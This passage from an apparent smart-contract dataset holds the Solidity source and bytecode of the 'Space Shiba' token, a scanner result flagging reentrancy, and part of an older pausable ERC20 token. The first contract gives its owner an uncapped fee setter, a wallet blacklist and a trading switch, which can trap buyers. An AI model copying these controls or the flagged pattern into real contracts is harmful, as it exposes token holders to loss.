transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SPACESHIB is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Space Shiba"; string private constant _symbol = "SPACESHIB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x99889841f738E84bDd7A556a26f508D5130EB88c); address payable private _marketingAddress = payable(0x99889841f738E84bDd7A556a26f508D5130EB88c); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000000 * 10**9; uint256 public _maxWalletSize = 30000000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b857600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610603565b005b34801561020a57600080fd5b5060408051808201909152600b81526a537061636520536869626160a81b60208201525b60405161023b9190611a30565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a85565b6106a2565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5069d3c21bcecceda10000005b60405190815260200161023b565b3480156102df57600080fd5b506102646102ee366004611ab1565b6106b9565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023b565b34801561033157600080fd5b50601554610294906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611af2565b610722565b34801561037157600080fd5b506101fc610380366004611b1f565b61076d565b34801561039157600080fd5b506101fc6107b5565b3480156103a657600080fd5b506102c56103b5366004611af2565b610800565b3480156103c657600080fd5b506101fc610822565b3480156103db57600080fd5b506101fc6103ea366004611b3a565b610896565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611af2565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610294565b34801561045c57600080fd5b506101fc61046b366004611b1f565b6108c5565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600981526829a820a1a2a9a424a160b91b602082015261022e565b3480156104c457600080fd5b506101fc6104d3366004611b3a565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b53565b61093c565b34801561050457600080fd5b50610264610513366004611a85565b61097a565b34801561052457600080fd5b50610264610533366004611af2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b85565b6109db565b34801561058957600080fd5b506102c5610598366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b3a565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611af2565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c42565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611ca3565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c42565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c42565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c42565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c42565b60005b82811015610a76578160056000868685818110610a2757610a27611c77565b9050602002016020810190610a3c9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611ca3565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c42565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cbe565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ced565b816001815181106113d4576113d4611c77565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d0a565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a7657610a76600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611549876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173f565b6001600160a01b0389166000908152600260205260409020556115cc8161179e565b6115d684836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda100000061164b82826114c7565b8210156116695750506006549269d3c21bcecceda100000092509050565b90939092509050565b600081836116935760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a4565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b60008061174c8385611cbe565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a86114a4565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114c7565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b3565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112e681611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112e682611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112e681611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6bb707108ddf0a9c66fe0d3fa9cf92555b46ec70ed3e07c5197b01b634118a964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,023
0x5d60df8613810204189cfd854ba892e918f32a78
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; emit OwnershipTransferred(owner, newOwner); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); require(balances[_to] + _value > balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_value > 0); require(balances[_to] + _value > balances[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of 